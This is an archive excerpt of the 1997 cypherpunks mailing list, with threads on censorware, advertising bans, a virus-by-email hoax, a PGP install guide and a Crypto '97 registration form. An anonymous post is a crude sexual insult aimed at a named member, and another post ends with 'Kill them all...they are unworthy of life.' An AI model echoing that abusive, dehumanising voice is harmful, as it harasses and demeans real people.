purposes would be more likely to face legal ramifications than
Haselton, it is not out of the realm of possibility that a court would
side with Solid Oak.


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 24 Apr 1997 16:39:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: PGPSteps
Message-ID: <TCPSMTP.17.4.24.-13.33.40.2780269260.1616299@nycmetro.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3953.1071713694.multipart/mixed"

--Boundary..3953.1071713694.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

-------------< COMMENTS BY Harka >--------------

Since there was a quite surprising interest, when I announced the
draft-version of "PGPSteps", I'll post it this time straight to the
list. If somebody would like to give it a WWW-home, go for it (please
let me know the URL).

Harka

----------< END OF COMMENTS BY Harka >----------

Here is "PGPSteps", a brief installation guide for PGP 2.6.2/2.6.3i for
DOS/Windows. I started writing it, cause it seemed, that a lot of people
were getting turned off by the sheer amount of homepages, front-ends,
150-pages+ FAQ's etc.. All of these things are great, but were usually
only mastered by the most of the determined. The majority of potential
users though didn't want to go through all that trouble.
Hence "PGPSteps", an attempt to provide an easy starting ground, that
let's newbies know, where to get PGP, how to install it, answers the
most important questions and gives pointers to other resources. All that
in a short and easily understandable form, that even not-so-technical
people might be able to deal with.

I hope, I have failed not too miserably...

Comments to "PGPSteps" are welcome.


Harka

PGPSTEPS.ASC


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Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00005.bin"
Content-Description: ""

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ICAgICAgICAgICAgICAgICAgICAgICBQR1BTdGVwcyAgICAgICAgICAgICAg
ICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0tLS0tLS0tICAg
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UCkgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICBJbnN0YWxs
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 24 Apr 1997 17:29:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor
Message-ID: <TCPSMTP.17.4.24.-12.23.42.2780269260.1616330@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:declan@well.com to Harka <=-

 In> The Center for Media Education is trying to accelerate this process.
 In> In a fearmongering report earlier this year, the group demanded that a
 In> slew of government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO
 In> -- take "urgent agction" to "protect" America's children from tobacco
 In> and liquor advertising online.


Shesh, such garbage one can only read with a whisky and a
cigarette...

The only way to "enforce" that would be censorship from ISP-side,
because any reasonable tobacco/liquor company would/will just set up
a server outside the US.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=t4Ve
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 24 Apr 1997 21:05:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970424211058.006a0460@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:

>The Center for Media Education is trying to accelerate this process. In a
>fearmongering report earlier this year, the group demanded that a slew of
>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>"urgent agction" to "protect" America's children from tobacco and liquor
>advertising online.
...............................................


I wish these people would go live in the U.S.S.R., or something.(*)

They are the ones who give the Censors of the World support for the idea
that it's okay to instigate restrictions against free expression, because
obviously the people want it - they're calling for it.   It doesn't matter
that it's not a Good Thing to limit expression; it's a matter of majority
interest.   I wish they would all go down to the sea together.   But I'm
being depressingly negative.  Anyway, who cares.  As long as there are
innovators creating high techology and useful software, one can always stay
steps ahead, right.  

(*) yes, I know it doesn't exist anymore.  Too bad.  Some people belong in
a State like that.  Where they can live with each other and never grow up,
but only wither away from atrophy of the mind.

   ..
Blanc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 24 Apr 1997 18:31:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Downloading Software + viruses (HOAX)
Message-ID: <199704250131.VAA11596@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


This guy is scaring me.  It's not real, right?

On 24 Apr 97 at 18:28, Scott Shrader wrote:

> I know You can get a virus this way.  Do you want me to send you one
> this way?!?!

That sound's like a threat.  I am going to have to report you to your
ISP.  Sorry.

Abuse or Root:

Your user is threating to send me a virus through e-mail.  Can you
stop him, please?  See headers at bottom of message.  Thanks.

> 
> Yours,
> Scott
> 
> 
> At 04:03 PM 4/23/97 -0700, you wrote:
> >Scott,
> >
> >Get off it.  You can't get a virus from reading an e-mail file.
> >We've been all over this, up and down.  You must open a file and
> >run it to get a virus.  Now you *may* be able to get a virus from
> >reading 'web based' e-mal like hot mail, but using a regular e-mail
> >software it WILL NOT happen.  No way, no how, so put up a copy of
> >this "microsoft letter" on your web site you claim to have and post
> >some verifiable information or just go away and shut up.
> >
> >
> >
> >On 23 Apr 97 at 17:58, Scott Shrader wrote:
> >
> >> The another reason I know this can happen is I got a letter from
> >> Microsoft and on C-net(on the TV), talking about a virus that
> >> once you opened it. Could curruped you e-mail program(only work
> >> on internet Exsplore and microsoft e-mail programs).
> >> 
> >> Yours,
> >> Scott Shrader
> >> 
> >> >On Sun, 20 Apr 1997, Scott Shrader wrote:
> >> >
> >> >> Sorry to burst your bubble, but I know for a fact that you can
> >> >> get a virus from a e-mail.  I've heard from other people how
> >> >> have gotten viruses this. I even heard of how to do it.  You
> >> >> can't get the virus, unless your open it and/or get it from
> >> >> your e-mail server.
> >> >> 
> >> >> Yours,
> >> >> Scott Shrader
> >> >> 
> >
> >
> 
> 
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> _/                Scott Shrader                       _/
> _/               shrader@scsn.net                     _/
> _/       http://www.scsn.net/users/shrader/           _/
> _/			or                            _/
> _/     http://www.geocities.com/Yosemite/2352/        _/
> _/                 Columbia, SC                       _/
> _/		       29223                          _/
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> 
> 


Received: from rosie.scsn.net (scsn.net [206.25.246.12]) by





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 24 Apr 1997 22:40:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <v03007812af85edeb96ba@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:13 PM -0700 4/24/97, Blanc wrote:
>Declan McCullagh wrote:
>
>>The Center for Media Education is trying to accelerate this process. In a
>>fearmongering report earlier this year, the group demanded that a slew of
>>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>>"urgent agction" to "protect" America's children from tobacco and liquor
>>advertising online.
>...............................................
>
>
>I wish these people would go live in the U.S.S.R., or something.(*)
>
>...
>
>(*) yes, I know it doesn't exist anymore.  Too bad.  Some people belong in
>a State like that.  Where they can live with each other and never grow up,
>but only wither away from atrophy of the mind.

We still have North Korea, and even better, Myanmar where net access is
illegal.

What is highly amusing is the mounting evidence that alcoholic beverages in
moderation are good for your health.  Of course, if you are one of the
small percent of the population who can't be moderate, then you should not
use alcoholic beverages.  But many people have bad reactions to various
foods.  That's no reason to forbid them or their advertising.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Thu, 24 Apr 1997 22:39:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Censorware battle heats up; CyberSitter blacklist now public
Message-ID: <3.0.32.19970424223018.006e3788@best.com>
MIME-Version: 1.0
Content-Type: text/plain


>
>http://www.wired.com/news/politics/story/3355.html
>
>Teen Offers Way to Crack Blocking Software
>by Rebecca Vesely
>
>3:03pm 23.Apr.97.PDT A Tennessee college student has posted a software
>program on the Web that can be used to decrypt a list of sites blocked
>by the prominent blocking software Cybersitter. The company that makes
>the program is furious, and an attorney versed in Net law says the
>student could face legal action.
>
>Bennett Haselton, co-founder of the teen Web site Peacefire, on Monday
>posted a program that he wrote specifically to crack the "filter file"
>that comes with Cybersitter. The 18-year-old junior at Vanderbilt
>University says it took him two days to write the software. The filter
>file is frequently updated by Solid Oak Software, the company that
>owns Cybersitter, but was taken offline Tuesday by the company.
>
>"He is violating every intellectual property law ever written," said
>Solid Oak president Brian Milburn. "It costs us tens of thousands of
>dollars to maintain that list. It's none of his business what is on
>that list or what we do with it."

/\/\/\/\/ And this genius Milburn protects it with some bullshit that can be 
cracked in 2 days!?!?!  He deserves everything he gets and more.  Should
be a lesson.

I look forward to more fireworks!


>
>-------------------------
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 25 Apr 1997 00:14:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425002053.0069bc70@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

>What is highly amusing is the mounting evidence that alcoholic beverages in
>moderation are good for your health.  Of course, if you are one of the
>small percent of the population who can't be moderate, then you should not
>use alcoholic beverages.  But many people have bad reactions to various
>foods.  That's no reason to forbid them or their advertising.
...............................................


Well, of course I was taking aim not specifically against the mentioned
vices, but to the attitude of people who wish to protect children from
themselves in their forays into "dangerous" advertising territory.    That
is, to the attitude of calling for restriction and the setting of
boundaries, rather than of providing some explanations on life and what can
happen and how a person can deal with consequences.  But that would take a
lot of work and wisdom that they apparently don't feel they can offer. 

I have envisioned a time in the distant future, perhaps in a distant
galaxy, where static data is not a source of fear and children grow with an
open attitude to information - to the fact that it is they themselves, who
determine what shall be done, not bits of data.   I have always read so
many things since growing up, curiously poking into everything that was
available (my Mother would have cringed), and never was automatically
affected by it, but developed a total respect for a Universe of All
Possible Things, even if I never intended to involve or indulge myself in
trying out all that I encountered (in the library, bookstores, etc.)   

These people have this idea that because you look at a black hole you
inevitably must fall into it.   I guess it comes from their own lack of
self confidence.   Were they to have the aim of ascending from fear and
doubt into the expansion of their worldly perspective and development of
intelligent judgment about Reality, they wouldn't have to think of calling
upon intermediaries to put limits on their activities (or that of their
children) for them.   One should look for intermediaries only when one is
clearly helpless.   It's incredible to think that there is no self-defense
against fatuous advertising.

-- end of rant --
    ..
Blanc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 25 Apr 1997 00:42:20 -0700 (PDT)
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <v03007801af861cb3b794@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:20 PM -0800 4/24/97, Bill Frantz wrote:

>What is highly amusing is the mounting evidence that alcoholic beverages in
>moderation are good for your health.  Of course, if you are one of the
>small percent of the population who can't be moderate, then you should not
>use alcoholic beverages.  But many people have bad reactions to various
>foods.  That's no reason to forbid them or their advertising.

Obviously we libertarians fully agree with this. No advertising should ever
be banned....to ban or restict any advertising, no matter how worthless or
despicable the product, is clearly a violation of basic constitutional
protections of free speech.

(Note that the orginal grounds for restricting cigarette advertising on
television and radio were on shaky grounds that the airwaves were a kind of
monopoly have now been augmented by laws restricing advertising "too close"
to schools and other places and other such restrictions. Including crap
about requiring warnings about cigarettes and alcohol, even in
non-broadcast advertisements! By this precedent, can it be long before
political writings are required to carry extensive warnings? The First
Amendment has become a joke.)

By the way, the conventional (if flaky) wisdom in the 1950s was that
cigarette smoking was good for one's health (a "digestive"). Had the FCC
and FDA had the powers then that they have now, cigarette ads would have
been _required_.

This is the danger of the monoculture I have written about. "Anything not
banned is required, anything not required is banned."

As to Cypherpunks relevance, what will happen if cigarettes, alcohol, and
condoms are advertised on the Web? (Whoops, strike condom ads...they were
once banned, but are now required.)

Kill them all...they are unworthy of life.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 25 Apr 1997 00:49:03 -0700 (PDT)
To: Blanc <blancw@cnw.com>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <3.0.1.32.19970425005823.0071e090@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:13 PM 4/24/97 -0700, Blanc wrote:

>I wish these people would go live in the U.S.S.R., or something.(*)

Indeed - I frequently find myself wondering who really won the cold war. The
"free world" seems to be adopting the totalitarian/surveillance-state tactics
and behaviors usually ascribed to the nations which "lost" the cold war; but
the "losers" seem to have a much better grasp of the importance of human
freedom than the "winners" do. 

The FBI's recent request for the capability to carry on 60,000 simultaneous
wiretaps calls to mind the wiretap apparatus of Eastern Europe, but with
modern hardware. Yow. We have met the enemy, and it is us.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM2Biq/37pMWUJFlhAQGe/gf+MsHlayfW15lwPnTZl5ZzZ9TKptpq/C2y
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58zzKkImyjKRhWo4z+suqoXKGu004bo3afRClv4iNVswDvlLFm/Xx4sDjHmzO5Vb
MbjhfsIjA17mRRdlUAUgs26Xet52t1YodV2DBVl/P8UibFuuUIEebBPS0yEgYytq
S1AmQH2JivI3m+gpDJ7Qbrqdt1znU/2JbaBNS5//1924KLgk8zzI+B2O9VAsRbx2
JB+i9P3S8aHS5Y2SQ5P19oiTh9nTrniGUAbOth751Ttlj+uABfP1FA==
=aY23
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 25 Apr 1997 01:14:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425012047.0069b750@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:

>Indeed - I frequently find myself wondering who really won the cold war. The
>"free world" seems to be adopting the totalitarian/surveillance-state tactics
>and behaviors usually ascribed to the nations which "lost" the cold war; but
>the "losers" seem to have a much better grasp of the importance of human
>freedom than the "winners" do. 
.....................................................


I think it's because, having suffered through many years of totalitarian
beneficence, they know first-hand what it really means to live that way:

whereas our friends & neighbors over here can only imagine the good things
and "benefits" that they envision for everyone, the ones who have lived
through it know what it really looks like and how it really feels to be on
the receiving end.   It is unfortunate that our innocence can be a drawback
to realizing the effects or consequences of blanket policies, those
one-size-fits-all arrangements which are supposed to "help us" into
becoming better persons against our will.   Reading history apparently
doesn't make an impact on some people, sometimes they just have to be
there, to see first-hand what it means to experience their grand designs.

That's why I really wish that these people would get what they wish for -
that they could live, with all voluntary parties in full consent, the kind
of restrictive setups they are always calling for.   I guess Singapore is
the closest thing to that at this time, where they appear to live pretty
much a pre-determined existence and don't leave, although they are free to
do so.   Too bad it's a small island and can't fit many more similarly
minded types.

Maybe one day in the future all the control freaks and their submissive
followers will gravitate to certain parts of the world and everyone else to
others, and there will be peace & happiness throughout the planet.  :-)   

   ..
Blanc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 25 Apr 1997 02:13:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425022005.006a15b0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

>By the way, the conventional (if flaky) wisdom in the 1950s was that
>cigarette smoking was good for one's health (a "digestive"). Had the FCC
>and FDA had the powers then that they have now, cigarette ads would have
>been _required_.
......................................................


Just as the govt is inclined to keep databases of our sins, would it be
nice to also have a long account of their faults, for posterity.  Something
to display in arguments and debates, to present to a candid world (in the
words of the Declaration of Independence) just cause for our grievances
against it and convincing proof why it is not wise to blindly follow
leaders, for yay -  sometimes they err, and sometimes one gets the shaft.

There are many books presenting detailed accounts of govt follies, but had
I the time & inclination I would arrange them into a database table for
ease in appreciation, with categories like:

	Policy/Law
	Purpose
	Date Instigated
	Actual Effects/Consequences
	Date Retracted
	Results
	
Not that I would want to create a dark picture of govt, but only to create
a dark picture of the logic of those who would give us no choice in these
matters.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VTDirector <VTDirector@MSDN.EASE.LSOFT.COM>
Date: Fri, 25 Apr 1997 03:35:05 -0700 (PDT)
To: VISTOOLS@MSDN.EASE.LSOFT.COM
Subject: Latest info on new Microsoft Visual Tools
Message-ID: <VISTOOLS%1997042505015513@MSDN.EASE.LSOFT.COM>
MIME-Version: 1.0
Content-Type: text/plain


Hey developers,

Don't miss out on the new capabilities of Microsoft's latest versions of
the Visual Tools you depend on--including a brand new suite of tools
called Visual Studio 97 development system.

Microsoft has just introduced the following tools, each with new features
and enhancements that can improve both your efficiency and integration
with the Internet:

* Microsoft Visual Basic programming system 5.0
-- Combine fast development and execution with the new Native Code
compiler.  Visual Basic is the most efficient tool for creating
high-performance applications that integrate client/server technology with
Internet technology.

* Microsoft Visual C++ development system 5.0
-- This is the most powerful language for developing high-performance
applications and components.  Now, run everything faster, including
existing code, with this version.

* Microsoft Visual InterDev Web development system
-- The newest member of the Visual Tools family, this integrated
development tool for building Active Server Web applications increases Web
developers' productivity and makes it easy to develop dynamic,
database-driven Web sites.

* Microsoft Visual J++ development software
-- Create great 100% cross-platform Java code, or integrate it with your
databases and existing applications.  Put the powerful Java debugger and
the fastest Java compiler to work for you. All this in a flexible,
familiar IDE that is shared with Visual C++ and Visual InterDev.

* Microsoft Visual FoxPro database management system 5.0
-- With improved performance, existing applications run up to 40% faster.
This object-oriented development tool is the best way to build all types
of database applications.

But that's just the beginning -- Microsoft has even better news.  If you
use more than one Microsoft Visual Tool, you can get a value-priced suite
of all five products for just about the price of two: Visual Studio 97.
With it, you'll be prepared for any development challenge, from
Windows-based solutions to Internet development to the most complex
client/server applications..

Not yet sure?  Then visit www.microsoft.com/visualtools/ for multimedia
demos, white papers, and other fact-packed information.

If you're ready to purchase, you can buy online at
http://www.developstore.com/, or call (800) 621-7930 and ask for
"Department V5 Tools" to order by phone or to find the name of a reseller
in your area.

--Tom Button
Director, Developer Product Marketing




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 06:19:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re:  Re: Downloading Software + viruses (HOAX)
In-Reply-To: <199704250131.VAA11596@dhp.com>
Message-ID: <19RP6D33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:

> This guy is scaring me.  It's not real, right?

It sounds like someone just earned themselves a net.scum page.

> On 24 Apr 97 at 18:28, Scott Shrader wrote:
>
> > I know You can get a virus this way.  Do you want me to send you one
> > this way?!?!
>
> That sound's like a threat.  I am going to have to report you to your
> ISP.  Sorry.
>
> Abuse or Root:
>
> Your user is threating to send me a virus through e-mail.  Can you
> stop him, please?  See headers at bottom of message.  Thanks.
>
> >
> > Yours,
> > Scott
> >
> >
> > At 04:03 PM 4/23/97 -0700, you wrote:
> > >Scott,
> > >
> > >Get off it.  You can't get a virus from reading an e-mail file.
> > >We've been all over this, up and down.  You must open a file and
> > >run it to get a virus.  Now you *may* be able to get a virus from
> > >reading 'web based' e-mal like hot mail, but using a regular e-mail
> > >software it WILL NOT happen.  No way, no how, so put up a copy of
> > >this "microsoft letter" on your web site you claim to have and post
> > >some verifiable information or just go away and shut up.
> > >
> > >
> > >
> > >On 23 Apr 97 at 17:58, Scott Shrader wrote:
> > >
> > >> The another reason I know this can happen is I got a letter from
> > >> Microsoft and on C-net(on the TV), talking about a virus that
> > >> once you opened it. Could curruped you e-mail program(only work
> > >> on internet Exsplore and microsoft e-mail programs).
> > >>
> > >> Yours,
> > >> Scott Shrader
> > >>
> > >> >On Sun, 20 Apr 1997, Scott Shrader wrote:
> > >> >
> > >> >> Sorry to burst your bubble, but I know for a fact that you can
> > >> >> get a virus from a e-mail.  I've heard from other people how
> > >> >> have gotten viruses this. I even heard of how to do it.  You
> > >> >> can't get the virus, unless your open it and/or get it from
> > >> >> your e-mail server.
> > >> >>
> > >> >> Yours,
> > >> >> Scott Shrader
> > >> >>
> > >
> > >
> >
> >
> > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> > _/                Scott Shrader                       _/
> > _/               shrader@scsn.net                     _/
> > _/       http://www.scsn.net/users/shrader/           _/
> > _/			or                            _/
> > _/     http://www.geocities.com/Yosemite/2352/        _/
> > _/                 Columbia, SC                       _/
> > _/		       29223                          _/
> > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> >
> >
>
>
> Received: from rosie.scsn.net (scsn.net [206.25.246.12]) by
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 24 Apr 1997 23:15:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
Message-ID: <199704250614.IAA15275@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Now is the time for all good little boys to 
cum in Tim May's big mouth.

           \|/
           @ @
      -oOO-(_)-OOo- Tim May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Fri, 25 Apr 1997 07:26:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Crypto '97: Information and Registration Form
Message-ID: <v03007809af866ef99290@[206.11.192.107]>
MIME-Version: 1.0
Content-Type: text/plain


CRYPTO '97

General Information

17-21 August 1997
Santa Barbara, California, USA

Crypto '97 is the 17th international conference on cryptology held at
the University of California Santa Barbara. The academic program
covers all aspects of cryptology; specific papers will be announced on
1 May. Formal proceedings, published by Springer-Verlag, will be
provided to all attendees at the conference.

Crypto '97 is sponsored by the International Association for
Cryptologic Research (IACR), in cooperation with the IEEE Computer
Society Technical Committee on Security and Privacy, and the Computer
Science Department of the University of California, Santa Barbara
(UCSB). Program Chair is Burt Kaliski, Jr., and General Chair is Bruce
Schneier.

In addition to selected and invited papers, there will be a rump
session on Tuesday evening for selected informal presentations.
Facilities are available for attendees to demonstrate hardware,
software, and other items of cryptologic interest. If you are
interested, contact the General Chair by 12 June 1997.

The social program will include hosted dinner receptions on Monday and
Tuesday nights, and a beach barbecue on Wednesday evening. Breakfasts
and lunches will be served at the university dining hall.

Conference Facilities: The workshop will be held on the campus of the
University of California, Santa Barbara.  The campus is located
adjacent to the Santa Barbara airport and the Pacific Ocean; free
shuttle bus service from the airport is available. Reasonably priced
accommodations are available in the university dormitories for
participants and their registered guests. Children under the age of 13
are not allowed to stay in the dormitories, so those bringing younger
children will need to make separate arrangements in one of the nearby
hotels (see Hotels, below). Parking on campus is available at no cost
to participants, but a permit must be requested on arrival. Smoking
inside campus buildings is prohibited. The food is good.

Registration: The conference is open to all interested parties, but
the number of attendees at the workshop is limited to 500;
pre-registration is strongly advised. To register, fill out the
accompanying registration form and return it to the address on the
form along with payment in full before 12 July 1997. Those bringing a
guest are also required to submit the guest registration form. Campus
accommodations will be available on a first come, first served basis
for attendees who register by 12 July 12 1997. Registrations received
after 12 July 1997 may be accepted if space is available but cannot be
guaranteed. The conference fee includes participation in the program
and all social functions, as well as membership in the IACR and a
subscription to the Journal of Cryptology. The room and board charges
include dormitory lodging Sunday night through Wednesday night, and
breakfast and lunch on Monday through Thursday. Technical sessions
will run from Monday morning to Thursday noon, with a free half day on
Tuesday afternoon.

A limited number of stipends are available to students unable to
obtain funding. Students are invited to apply if such assistance is
needed. Requests for stipends should be received by the General Chair
before 14 June 1997. Students registering for the conference need to
provide verification of their student status with a letter from their
Supervisor or Department Chair and a photocopy of their student ID
card. Preference will be given to students whose papers are accepted
and who will present the papers themselves

Cancellations received, in writing, by the General Chair by 15 July
1997 will be considered for a refund in full minus $75 for a copy of
the Proceedings and handling costs. No refunds will be made for
cancellations received after 15 July 1997, but a copy of the
conference Proceedings will be mailed to those registered but unable
to attend.

Travel Information: The campus is located approximately two miles from
the Santa Barbara airport, which is served by several airlines
including American, American West, Delta, United, and US Air.
Complimentary shuttle bus service will be provided between the Santa
Barbara airport and the campus on Sunday and Thursday afternoons. All
major rental car agencies are represented in Santa Barbara. AMTRAK
also has rail connections from both San Francisco and Los Angeles.
Santa Barbara is approximately 100 miles (160 km) north of the Los
Angeles airport and 350 miles (560 km) south of San Francisco.

Hotels: For those who choose not to stay in the dormitories, the
following is a partial list of hotels in the area. Those who choose to
stay off campus are responsible for making their own reservations, and
early reservations are advised since August is a popular season in
Santa Barbara. Note that Goleta is closer to UCSB than Santa Barbara
is to UCSB, but a car will probably be required to travel between any
hotel and the campus. All prices are subject to change: prices should
be confirmed by calling the hotels directly. However, mention Crypto
'97 at UCSB when you are making your reservations, since at several of
the hotels you will be eligible for the university rate, which can be
a significant savings. We are not able to book block rooms in these
hotels, so please make reservations as early as possible. The quality
of the hotels ranges from rather expensive beach-front resorts to
basic inexpensive accommodations. For further information, try
contacting the Santa Barbara Convention and Visitors Center, +1 805
966 9222, or see http://www.iacr.org.

South Coast Inn: 5620 Calle Real, Goleta, CA 93117. Single rate $89;
double rate $94. Contact Ms. Murrill Forrester at +1 805 967 3200.

Cathedral Oaks Lodge (formerly Turnpike Lodge): 4770 Calle Real, Santa
Barbara, CA, 93110. Single rates $75 and up; double rates $85 and up.
No university rates available. Prices include breakfast. Telephone +1
805 964 3511; fax +1 805 964 0075.

Motel 6: 5897 Calle Real, Goleta, CA 93117. Single rate $36.99; double
rate $42.99. Telephone +1 805 891 6161 or the national reservations
number.

The Sandman Inn: 3714 State Street, Santa Barbara, CA 93105. Rates
start at $79. Telephone: +1 805 687 2468; fax +1 805 687 6581.

Miramar Hotel (Beachfront): Three miles south of Santa Barbara on U.S.
101 at San Ysidro turnoff. No specific single or double rates. Rooms
begin at $75. Telephone +1 805 969 2203; fax +1 805 969 3163.

Pepper Tree Inn: 3850 State Street, Santa Barbara, CA 93105. Single
rate $114; double rate $124. Telephone +1 805 687 5511; fax +1 805 682
2410.

Encina Lodge: 2220 Bath Street, Santa Barbara, CA 93105. Single rate
$120; double rate $124. Telephone +1 805 682 7277; fax +1 805 563
9319.

Pacifica Suites: Located close to the campus (just down Ward Memorial
Blvd./Highway 217), 5500 Hollister Avenue, Santa Barbara, CA 93111.
Normal rates begin at $135 for a suite. Includes full cooked
breakfast. Telephone +1 805 683 6722; fax +1 805 683 4121.

Upham Hotel: This is a bed-and-breakfast in downtown Santa Barbara.
1404 De La Vina Road, Santa Barbara, CA 93101. Rates begin at $110.
(You must mention that you are attending the Crypto conference.)
Telephone +1 805 962 0058; fax +1 805 963 2825.

The El Encanto Hotel: This renovated hotel is located in the foothills
near downtown Santa Barbara. 1900 Lasuen Road, Santa Barbara, CA
93105. Rates begin at $140. Telephone +1 805 687 5000; fax +1 805 687
3903.



To register, print and mail the following form:

---------------------------------------------------------------------

		    	 CRYPTO '97 Registration Form
    	     Registration deadline: July 12, 1997

Last Name:  ________________________________________________________
First Name: ____________________________________ Sex: M or F _______
Affiliation: _______________________________________________________
Mailing Address: ___________________________________________________
____________________________________________________________________
____________________________________________________________________
Phone: ___________________________ Fax: ____________________________
Electronic Mail: ___________________________________________________
___ Check here if you wish to have your name and address excluded from
the list of delegates.

Payment of the conference fee entitles you to membership in the
International Association for Cryptologic Research for 1998 at no
extra charge, including a subscription to the Journal of Cryptology,
published by Springer-Verlag, at no extra charge.  Do you wish to be
an IACR member?	___ YES    ___ NO

___ Check here if you with to have your name and address excluded from
the IACR membership listing.

Conference Registration Fee (check first line that applies):

				Paid by July 12    After July 12
___ Full-Time Student           $211       		  $291

___ Attended Eurocrypt '97      $350       		  $430
___ Regular Registration        $422       		  $502	$ _________

